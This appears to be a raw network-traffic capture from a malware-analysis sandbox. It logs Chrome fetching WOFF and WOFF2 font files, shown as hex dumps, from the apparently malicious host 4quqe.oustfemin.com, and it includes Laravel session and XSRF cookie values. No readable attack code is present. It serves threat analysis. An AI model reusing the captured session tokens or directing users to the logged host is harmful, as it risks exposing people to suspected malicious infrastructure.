laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:54 UTC	612	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:54 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="12zn8d0uaFJ78HnWlT1iop49" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kD9HYwKJnVv1ixyrKVBFALdsiLRyBKy0yP5ctJNHhocksLcJXimTfTrRQRilZr3uqujy6EBSd4xwCm8VID0u0I98JNQLaVWqoQ3R59v8neGfVRNkPRKDg0rb9FGPyg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc06a1b591a30-EWR
2024-08-23 14:21:54 UTC	757	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: fa 90 4a e8 10 1d a6 06 6a e2 04 f6 b2 8f bb 71 26 5f c6 d7 f2 60 be 81 87 f0 50 be 91 87 f1 4d 3c 9c 6f e6 5b f8 56 1e c1 b7 f1 48 1e cb 53 78 3a cf e0 99 3c 8b 67 f3 1c 9e cb f3 78 3e 2f e0 85 bc 88 17 f3 12 5e ca cb 78 39 af e0 95 bc 8a 57 73 2e e7 f1 26 de ca 85 bc 93 8b 78 0f 17 13 f3 6a 55 4a a9 94 ae 42 d4 53 9d a7 1c 32 28 5f b5 d0 01 55 c7 d3 d5 51 9e a1 82 3c 87 e2 79 ae 6a e6 79 d8 e7 ab f3 bc 50 85 78 b1 3a c5 cb d0 b6 02 6d 2b b1 af 56 d5 fc 8a aa e5 35 68 5b 8b 7e 45 b8 57 4c dd e8 72 70 c0 07 1e f8 30 ea 19 2a 50 75 18 f9 24 4f 41 af e9 94 86 d1 b7 f1 4c 4a e1 59 e4 e5 d9 e4 e1 39 18 65 ae da 02 4c b5 c0 14 02 a6 20 2f 22 3f b0 6d e1 a5 94 08 8c 8d bc 1c bf 2b f0 cc 4a ec ab c8 00 e6 a3 9c ab 1a f8 15 ea 2a d8 f3 54 21 6f c2 78 9b b1 ef c4 Data Ascii: Jjq&_`PM<o[VHSx:<gx>/^x9Ws.&xjUJBS2(_UQ<yjyPx:m+V5h[~EWLrp0Pu$OALJY9eL /"?m+JT!ox
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: a1 e7 db 00 aa 6a 1d 19 56 5a 57 86 48 dc 00 97 0c cb df 06 44 32 47 d0 be cf d6 47 e1 40 dc f0 9f e8 bc ef e6 e4 11 eb e1 13 bf 8f ec f1 0c fa c6 ab 90 aa 27 03 73 ec a2 5a 00 90 2e ee 04 71 d6 a8 af e9 82 6f 6a bb 7a 16 de dd 07 09 27 ab 4f 54 b9 aa 55 cd aa 5a fd 45 2d 01 d5 75 ea b0 3a a3 3e a3 38 d5 a4 ce 83 de 7c d0 df 97 52 70 75 94 92 c0 9f d8 51 f9 02 a8 d4 bf 0d 42 5d 85 3a 41 99 ea 04 a8 1d 40 1e 50 59 8d a6 7b cc dc 9e fc 2d 41 9c 5d 4e 7e e1 ae 81 59 7d 09 c9 c5 66 eb 02 ac d5 ea 24 f2 9c 78 a1 06 76 01 ed 20 75 4a f3 4a 73 10 96 d3 c5 99 53 50 7e d2 e5 2c 1e 67 be 18 f1 f2 a0 3a 07 1a 6b d4 11 70 26 01 60 40 f6 04 e9 96 a1 d1 83 3c d3 03 30 a4 9e 21 58 2e b9 e8 f5 4a d5 14 1b 2a b7 a9 57 21 b7 4c 00 a9 f7 14 b2 63 f0 af 00 c7 c9 e4 55 bb 55 Data Ascii: jVZWHD2GG@'sZ.qojz'OTUZE-u:>8\|RpuQB]:A@PY{-A]N~Y}f$xv uJJsSP~,g:kp&`@<0!X.J*W!LcUU
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 86 da a5 f6 aa 77 20 cb 62 68 0f 34 06 da 9b 6d cb 57 8e 1f aa b3 6a 87 ab 1a 2d 95 b7 c3 cd ea 20 ec e4 20 e4 58 62 d2 a1 73 2d f1 c6 01 8c ad b5 af 0c 39 56 10 ed a5 c0 9e 8a b3 24 f8 b3 0c f5 67 3c dd 1c d1 67 f8 61 5f 6f 80 8a a5 f0 7d 7e b1 da 06 f4 6d c1 dd 15 e4 87 9e 7f a2 df d2 6b 3f 0a 7c 59 82 eb 55 1a 8e e3 93 ba 16 47 b5 11 ef f0 ef 6d 8b 2b d5 ea 7e 3c b9 4e 7f c7 25 1e 2d e8 5a 17 09 60 fe 86 9a a4 72 25 2f e8 02 2b db 4d 37 e8 55 27 f5 38 65 ab 0f 1d 9a da 48 4c 4b 16 fe e6 a4 da 6f 71 df a0 ae 62 b9 65 ed bf c4 41 e5 d1 d0 46 b6 ae f5 10 75 5c 1d 06 cf fc a6 15 68 2a ac 9c da bd 26 1f f6 56 49 be c2 33 cf f4 db d8 52 bd 9e a6 69 8f 20 71 d3 03 9d 50 07 1c 1f 60 98 39 7c c4 bc 3e 14 3d d2 60 a6 15 ad 96 20 b3 6f a5 d2 1c f3 b4 ad 65 0e 95 Data Ascii: w bh4mWj- Xbs-9V$g<ga_o}~mk?\|YUGm+~<N%-Z`r%/+M7U'8eHLKoqbeAFu\h*&VI3Ri qP`9\|>=` oe
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 64 95 ce b7 a1 21 51 be 30 47 2d b2 0e b5 9e 1d 15 6d 0b c8 96 da fa a0 ca c3 08 65 c8 4a c2 22 b7 ca 90 fe 55 ad b1 5d 3d d7 69 66 d6 59 bb ac 92 9b df 5d b4 59 47 5b a0 d6 a0 36 4b 32 2b 43 f5 17 b3 12 b6 f2 f1 06 e4 bd 46 ab 26 29 ed db 72 c8 f9 8e 27 7c d5 c0 f4 66 7f a5 04 5d b9 a5 ae 07 5d 54 ee 76 a8 3c aa ab 4e c9 d2 8a a4 2a d8 25 df fe 6b 5b 14 2a 5b 9a db fb 4b 97 75 75 4a 65 c4 dc dd 6b 7f c9 2f b5 48 99 53 57 d5 44 fb 7b 1c d4 1d 75 f0 0b a9 e2 ef b2 91 c5 37 80 af c9 ad ef 99 d5 fd 12 21 b2 25 f3 31 35 2c 45 de c5 d4 c9 93 a6 8e a5 09 bf 33 44 e7 bc f2 05 6a 36 20 00 d0 35 76 26 ee 24 8a a7 e9 2f f4 18 f0 41 b5 c0 14 14 2d 0d e8 15 76 e9 d5 5a d5 d6 45 58 cb 6c b1 fc 66 8b 95 ed 35 c3 fb b5 56 22 f1 ae 1c b8 d6 92 7b a4 fa 52 3f b9 3d 42 0d Data Ascii: d!Q0G-meJ"U]=ifY]YG[6K2+CF&)r'\|f]]Tv<N%k[[KuuJek/HSWD{u7!%15,E3Dj6 5v&$/A-vZEXlf5V"{R?=B
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 3c 86 c7 51 26 a2 09 ec 14 f1 e4 e7 d4 83 a7 f0 14 1a c8 53 79 2a f5 e6 a7 f8 29 4a e2 5f f0 2f 70 fe 34 3f 8d f3 5f f2 7f a2 cf 34 9e 46 5d f9 57 fc 2b 4a e3 67 f8 19 9c ff 9a 7f 8d f3 e9 3c 9d ae e1 19 3c 83 46 f1 4c 9e 49 f7 f0 2c 9e 45 63 78 36 cf a6 2b 79 0e cf a1 7e 88 59 cf 92 0f 51 eb 79 1c e7 f2 5c 1a cd f3 78 1e 0d e0 f9 3c 9f 46 f0 0b fc 5f d4 8d 17 f0 02 1a cc 0b 79 21 dd c0 8b 78 11 dd c6 8b 79 31 8d 44 a4 5b 42 b7 f0 52 5e 4a b7 f2 4b fc 12 8d 47 c4 5b 46 fd 79 39 2f a7 6b 79 05 af a0 eb 78 25 af a4 eb 11 07 57 d1 55 bc 9a 57 eb ff 3b c4 b9 74 35 ff 96 5f a6 cb 10 19 5f a1 3b 78 0d af a1 9b 74 84 a4 e1 3a 42 d2 5d 88 90 9b e8 76 44 c9 cd 74 b3 8e 93 94 a1 63 23 28 dc c1 3b 70 dc c9 3b 69 18 a2 64 11 0d 42 9c dc 43 37 22 56 16 d3 50 2e e1 12 Data Ascii: <Q&Sy*)J_/p4?_4F]W+Jg<<FLI,Ecx6+y~YQy\x<F_y!xy1D[BR^JKG[Fy9/kyx%WUW;t5__;xt:B]vDtc#(;p;idBC7"VP.
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 fc ab fc cb fc 63 fd f1 fe f8 a3 95 4a 9e aa 38 27 ec 40 58 be 75 35 c5 8a 4c 9b 39 e5 af cd 65 0b 47 f9 98 13 7c ad 34 70 06 da 4c 76 52 9c f9 65 db 65 ab 93 e6 2c 71 32 9d 2c 67 8d 93 e3 6c 74 f2 9c 5d ce 1e 27 df 29 70 0e db de 61 e7 b8 f3 31 e7 1d 4e de 3f ea 6c 27 e7 cf 22 c4 ba f4 ae 36 6a b1 f6 e8 4d ad 52 8a 66 6b 9e 36 e9 39 4d d2 34 8d 53 82 86 6a 87 b6 6a a7 66 6a be 5e d5 58 bd a6 17 35 45 dd f5 ba c6 eb 0d 4d d4 0c 2d 51 86 d2 94 ae 09 ca d4 7d 5a a0 85 4a d4 7e a5 aa 9f b2 b4 59 3d d8 a7 95 4a 52 9c 16 69 8c 66 11 4d 1b da 9a 6b ae 31 f7 b8 74 e1 56 6e a3 2b dd cd 43 Data Ascii: Q+T"#Pc~2c?uIscJ8'@Xu5L9eG\|4pLvRee,q2,glt]')pa1N?l'"6jMRfk69M4Sjjfj^X5EM-Q}ZJ~Y=JRifMk1tVn+C
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 1f 5c 11 1e e6 af 33 1a c2 62 c2 63 42 82 74 a1 fe a1 29 51 1a e8 94 ce 90 11 c1 e8 fd 55 ea 80 00 bd bf 37 63 34 e0 8c 2c 4b 66 9c d1 a8 95 de 18 b4 e7 f1 5f 17 9e 58 61 2b 29 ef 5e 51 bc fe dc 90 fd 36 83 e6 2f 1c 5a 74 1b c7 77 0f ae e9 11 3e e5 77 66 b6 ed ae 69 bf 2f 33 fd cc 8a 96 23 83 05 6c 79 fd bc 92 4e e1 a4 fd d1 ae ae a6 7e 61 39 a5 77 d3 e8 6d 7e 35 7f 04 19 50 ba 2d 25 32 c2 db 0b 46 11 97 21 86 c1 cd 80 5e 40 39 c1 b9 99 03 fa 04 a2 0a 8c c2 42 fc 7c 3d dc 90 01 1b 78 b5 7f 12 1f 1d 17 c7 58 32 fd b2 62 cc 19 5c a0 3a 2e ce 18 ed 0d 38 47 30 e6 8c 2c 6b a0 8a 63 b9 87 47 ce 75 b5 9f c5 e8 e8 9f 71 7a dd 97 c9 2f 3f da fe f8 e2 bc fc c1 63 6d f7 5f ce f9 a2 56 b8 ee df f1 32 f6 7e fe 04 f6 7d ad e7 c6 8f 17 6c dc 35 75 dd f9 65 eb 5e 5e 5f Data Ascii: \3bcBt)QU7c4,Kf_Xa+)^Q6/Ztw>wfi/3#lyN~a9wm~5P-%2F!^@9B\|=xX2b\:.8G0,kcGuqz/?cm_V2~}l5ue^^_
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 3c 28 7c 24 bc f6 92 80 47 fa cf 6c 9c 21 68 97 ad 5d b7 f4 2f ec 5f 77 ff 34 c9 7e 80 a9 b7 bf c0 ef cc ed 7b 44 f8 b2 bd ae ae 4d 78 98 cc b3 e4 d1 db 5c 3a d0 38 89 e8 df b0 50 15 cf 61 16 24 07 cb 32 cd 40 e4 00 51 7c 28 fa 37 2a 22 38 d0 d3 1d 25 e1 24 5e 11 20 11 ac 99 62 10 13 67 c9 2c 04 e9 1a 20 0a 5b 15 a1 23 19 7d 66 da c0 4b 7b 9a 7c 47 dc 32 2b ba b2 57 ae 78 7f 14 bd 3f 75 e5 33 ed 4f 7e 91 fd 45 74 5f 75 75 ef fb c2 fb b3 b6 bc e4 9f 37 70 64 81 6d 5a 47 51 64 73 49 7f cf c0 b9 4b 73 0f f4 e4 1c 7f b8 70 76 55 fd f4 fe ee be 33 17 9a 1e 1e 28 00 7c fd 81 76 bb a9 1d 15 6a 0b 22 04 a2 3a d8 9b e8 04 51 be d2 09 88 41 be 13 6d 85 df 15 66 70 2b 84 19 02 f7 e4 67 9f dd 6d 83 fa 0f 41 7f df 85 fa c1 28 c6 66 00 ca 63 ca bc 0e 5d f4 d7 79 7b aa Data Ascii: <(\|$Gl!h]/_w4~{DMx\:8Pa$2@Q\|(7*"8%$^ bg, [#}fK{\|G2+Wx?u3O~Et_uu7pdmZGQdsIKspvU3(\|vj":QAmfp+gmA(fc]y{
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: c8 aa a2 8d 93 28 3e 95 5a 45 fe 3b 50 6b d7 92 2d d1 31 ee 01 1e f7 fd 6c 1b 51 87 4b ea eb 87 6c 21 42 79 43 c0 d4 a8 cc 34 85 6a 30 de 96 9e 0c 5c fd 20 68 c8 d6 71 1a f2 85 27 6e 36 04 64 45 65 36 a5 c8 54 24 fc da 02 f3 0d a4 20 f2 45 91 28 cb 66 06 9e 52 63 06 ac 77 62 1a 49 f2 56 e3 10 c0 f0 d3 12 cb 30 24 48 1b e9 17 a9 05 db d3 8d 58 e0 8e 3e b8 d6 68 31 63 c5 0f 27 83 fe d3 f1 be f8 92 25 63 de 38 ee 13 1e 72 f4 c8 99 c5 97 ec 3f 12 bd 72 61 f7 25 61 c3 ff 0f f0 03 ed c7 df 47 7d c1 40 82 9f 1b f0 21 08 78 ce 1d bc 51 90 65 2a de 5d 25 79 a5 6a 4c f5 55 60 80 de 5f e7 27 69 2b ad af a7 3a 1c 3c 18 bd c1 62 d6 9b f5 46 d1 45 25 28 ea 40 6b 5e 22 ae ea e0 20 71 56 e1 2f d3 6f 7f 90 df f9 e9 a7 9f 1e bd 7b 87 f8 ac 9c ea a8 f0 c8 75 6a 4b 94 80 5e Data Ascii: (>ZE;Pk-1lQKl!ByC4j0\ hq'n6dEe6T$ E(fRcwbIV0$HX>h1c'%c8r?ra%aG}@!xQe*]%yjLU`_'i+:<bFE%(@k^" qV/o{ujK^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49778	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:53 UTC	1480	OUT	GET /56cgfpYt7Gg84zQmfk45CqywRSAPguv56 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://4quqe.oustfemin.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:54 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:54 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="56cgfpYt7Gg84zQmfk45CqywRSAPguv56" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TQguWJhgTNZQFj4mkceikTbs0rlq0gMFP0ZHhMOTzsqIvbaf1NfE3AGEanL7v1Spb4PoDsaAZySS%2B9B7SvVmenhNIMcoahwTPO75z%2FKIoVhAVrvIXQHA0JdLS216gQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc06a2f76c45c-EWR
2024-08-23 14:21:54 UTC	743	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 00 fe 0b 20 00 9e 7f f7 d3 db e4 35 29 e5 97 60 00 e0 77 26 a7 ec 8c 51 bd 04 a5 aa 2d c9 13 20 11 06 0d 39 e4 58 74 9e 2f 53 51 3f 14 73 2b 75 0c 39 ee 1f 5c b1 68 d4 6c b0 47 cb 23 fc 2a a7 d5 23 40 83 46 d2 88 c9 66 c5 31 84 66 01 9d 3d 60 1f f0 e3 f1 70 ca 0b 01 a0 c2 94 3d 63 f0 be d9 92 66 3d 9c eb 70 20 34 42 79 0e 75 ff 7a 27 cb 0f ee 24 3b 04 73 b6 a4 dd 16 db 7a d0 f6 e3 e3 12 58 be c5 6e 36 79 2d e0 06 b4 05 18 a1 7f b4 fd cf 8a 12 3c cd 09 17 b1 bb 1d be 58 9e 81 7f 85 04 cd 7e 2b 6a 8a 7a bb 6a b2 f8 ff ee f7 db c0 37 f0 50 44 93 b8 4f 10 d5 77 d1 fa 39 9d 90 38 5d 13 21 7e 43 26 98 18 b4 cd d0 fb 13 2a 4c 43 45 d3 dc 4e 66 7e af 4e 9f 65 4a fa 69 58 6e 58 2a 43 81 26 e6 f5 bf 8b 74 b6 55 83 fc 4e 72 d2 40 91 b6 6c 5a b0 80 a7 03 20 d9 8f 58 Data Ascii: 5)`w&Q- 9Xt/SQ?s+u9\hlG##@Ff1f=`p=cf=p 4Byuz'$;szXn6y-<X~+jzj7PDOw98]!~C&LCENf~NeJiXnX*C&tUNr@lZ X
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: f7 bd 4d be ef 69 9d 44 eb 95 0e 88 ec 30 d0 66 50 36 51 17 59 8c ca 45 0b 23 fa 81 55 bc 59 5f 55 fe a0 40 a1 20 35 57 9b d4 3c b9 b3 29 ed a7 16 d3 13 45 0b c5 4c 25 f1 30 23 97 d9 4e bd 28 ab 1d d0 c2 14 6f c9 61 f9 56 40 1e 2b aa 69 29 e1 5a 15 f9 c1 0e 10 e8 40 d0 3a 0c 29 8c a9 39 12 e8 b0 01 e8 f6 ee 52 ab d2 f0 06 94 a4 e3 89 30 00 08 57 44 ed a2 83 bc a0 e0 07 54 5b 4d 54 db a3 29 51 e2 43 bf 56 c9 5a 96 e8 1f 92 c0 20 b0 78 90 51 a2 3c 19 06 e5 c4 18 b4 51 95 16 6c ec cd a6 0b e6 b6 d1 db 00 56 0c 1e a0 cb a0 80 03 02 ba eb e2 92 60 fa 62 ea 87 59 4d 58 29 3a 30 36 0c 02 ce fb 12 0a 67 57 cf 6d 7c f0 81 96 93 88 02 ba ef 92 55 dd 8c f9 fa 69 f2 71 0c 59 37 73 08 39 5d ce e5 85 bb 59 16 bd 18 b4 30 75 01 f3 09 a6 26 0f af 55 73 55 f9 8b 2d cb f9 Data Ascii: MiD0fP6QYE#UY_U@ 5W<)EL%0#N(oaV@+i)Z@:)9R0WDT[MT)QCVZ xQ<QlV`bYMX):06gWm\|UiqY7s9]Y0u&UsU-
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: e4 a2 3b c2 fb bf fc 8c 82 bb fa 9b 75 db a1 66 75 c9 75 d3 64 f1 8c aa ea bf de f8 8f 20 f3 86 3a ba e8 43 54 6a 8a 28 69 af 3c e6 ea b6 b2 5d 1b f8 18 09 92 64 e8 bd 0a 1d e0 d3 ba bc 10 cc cb 06 57 5c 77 bd a9 1a 44 81 23 b1 00 73 e8 10 9d bc f0 cc 39 be 92 1c 86 29 96 14 29 84 bf f5 e6 98 7e 7c d5 7f bf fc c3 77 d3 3c 9d cf ff 57 80 cf 97 9a d9 60 5e bd 00 ef d9 ff 57 bb 7c 10 17 61 91 5f e2 e0 bf 67 17 38 6d 72 f7 c0 87 b9 c7 2b b1 0e 4b b1 bd 52 1c c4 78 e7 87 af ff f6 09 93 1e 60 d4 16 c7 bd 7b 90 2e ac c4 27 6b 93 0d 57 9e 7c 28 0f 5c f9 c6 1c d3 b8 97 5b 0f 28 3e 06 4b ae 4a 42 c2 63 6d 65 b3 87 f4 02 73 e9 ec 31 94 dd 4d 35 43 9e 82 ef 1a 19 ca 1a de 11 5a 06 1e 1c 66 50 e3 92 33 b2 78 9f 06 fa de d0 77 b9 e5 f7 d4 e5 a7 d9 89 be 67 54 d4 43 9f Data Ascii: ;ufuud :CTj(i<]dW\wD#s9))~\|w<W`^W\|a_g8mr+KRx`{.'kW\|(\[(>KJBcmes1M5CZfP3xwgTC
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 4e db 0c 09 37 5f 5d ca 6d 2a c2 93 2c 7c e1 4f 0a f5 78 68 ed f3 95 63 92 85 c2 64 da 80 92 57 22 90 60 5c e2 76 78 80 a3 e7 17 e6 65 84 d8 68 fc 45 39 36 9d b6 bd 10 a7 d5 3c 40 98 a4 95 3d 2f 5c b2 3e 4f 05 c0 c6 03 43 4f 91 c1 b6 2a 1c ab 73 0f 48 30 21 8e 1a d3 24 e5 69 1b 45 37 55 e3 c4 1b 70 81 70 c6 8e c3 c7 15 fd d0 6a 42 d4 1a 9b 2c 71 78 1c 68 90 8e 66 52 12 59 39 ec 05 60 4b 10 46 0a d3 3b 4f 93 e9 9c 42 34 fe 5a 4c 23 c9 da 61 da ca b0 2e 42 bf ba 4e 43 ee 7b a5 b6 cd 10 a9 9e d6 76 c2 da 8c 75 0b 16 88 a2 6a f6 21 ff 46 59 15 b1 d8 a4 ae 93 c7 8f 9e 79 f0 b8 5e 0d 87 be b3 43 8a 3b 87 21 5b ce a4 5d 92 b7 f9 a1 38 f5 96 d0 8b c3 0e d8 3d be 24 30 f0 11 92 c4 5c c9 d4 f5 38 62 51 c4 09 ab 9c ee 74 c2 1d 9d 3f 80 6f 2b ee d5 47 d6 5b 60 91 6e Data Ascii: N7_]m,\|OxhcdW"`\vxehE96<@=/\>OCOsH0!$iE7UppjB,qxhfRY9`KF;OB4ZL#a.BNC{vuj!FYy^C;![]8=$0\8bQt?o+G[`n
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: a7 38 2a 13 91 05 2e 44 bf ef c7 df 5e 30 2e a5 1f cd 43 40 1e 70 cc f3 0a 36 82 72 f9 89 38 79 b0 a5 24 70 54 fe 74 60 c5 01 22 5e b9 e6 19 a1 43 02 57 17 2b 13 89 c3 3d af 86 3d 5b 59 ec d0 9d 86 23 f9 67 f1 fb 3a 58 07 48 c6 63 87 75 a2 a8 0c 94 5b bc 1e 8e 82 53 19 0c 24 da 49 3c 17 4c 27 29 d9 9d 80 57 5a ab 4f 76 b1 d5 d5 66 d6 cd 0b 43 de c4 07 9d fb 6a 3d 35 5d 05 18 4d fc cf f3 d5 52 8a 37 07 16 7b c0 bd 19 bc 8f 5b ba 06 00 c5 83 23 de f6 d2 01 41 b8 02 01 50 23 69 24 5c 1c ef 34 bf 27 04 01 13 5c 88 a0 4a 93 f8 12 79 bb a9 68 e7 2f 4d 81 05 1e 94 a0 46 8b ee 74 70 0e c0 c0 06 bf 4a a1 4d 9b de 6d 3c 06 38 10 40 08 15 1a b4 ec f1 81 bb 5f 18 f6 cc 77 10 ea 8d 43 df 85 0f fd 36 f8 e2 04 f8 bf 37 77 9c 81 9f e8 12 4f 3f 5c fa 4a 33 6a 34 14 cd b7 Data Ascii: 8*.D^0.C@p6r8y$pTt`"^CW+==[Y#g:XHcu[S$I<L')WZOvfCj=5]MR7{[#AP#i$\4'\Jyh/MFtpJMm<8@_wC67wO?\J3j4
2024-08-23 14:21:54 UTC	1369	IN	Data Raw: 61 03 b5 46 e9 89 d1 1b ab 7b 8a be a9 a2 c5 b8 43 ea 57 b3 bc 10 37 82 25 84 7d 6c eb e6 e6 16 e5 cc a2 be 5d 7f 9c 81 78 43 89 26 d3 24 7b 66 a6 e7 a6 78 6a 9a 55 d3 3d 36 c3 13 cb bc b7 a6 03 56 fb 2f cd 7d 12 13 c0 38 5c 55 a0 e1 24 e3 29 0d 8d ab 57 ae 5a f3 da 99 73 6a ff 83 13 79 f9 de ad a4 cd b6 da 6b 75 de 3c 4e 5d ab ad 29 8e bd e8 f4 90 28 0f 5f 6c f3 f3 71 f4 b1 c7 9f 78 f2 a9 a7 9f e1 41 ca f5 83 8e 3b ef 36 73 5a b5 d9 a6 5d 87 4e 5d ba f5 da 6e 87 9d 76 d9 6d 8f bd fa ed 33 f0 8a 1f 7c f0 73 cd 61 47 f8 86 14 f4 d9 05 4a 43 a1 a2 d7 e1 81 fb 1e 7a e2 b1 e7 3e fb e6 2b 1b 30 fb 13 00 f8 c0 06 e0 02 9b 00 1e f7 07 3f 94 ea cb 9c fd 8a 07 b7 5f 72 79 43 e1 99 99 f9 af 64 20 e2 d5 4f f8 1a 9f 0f 45 87 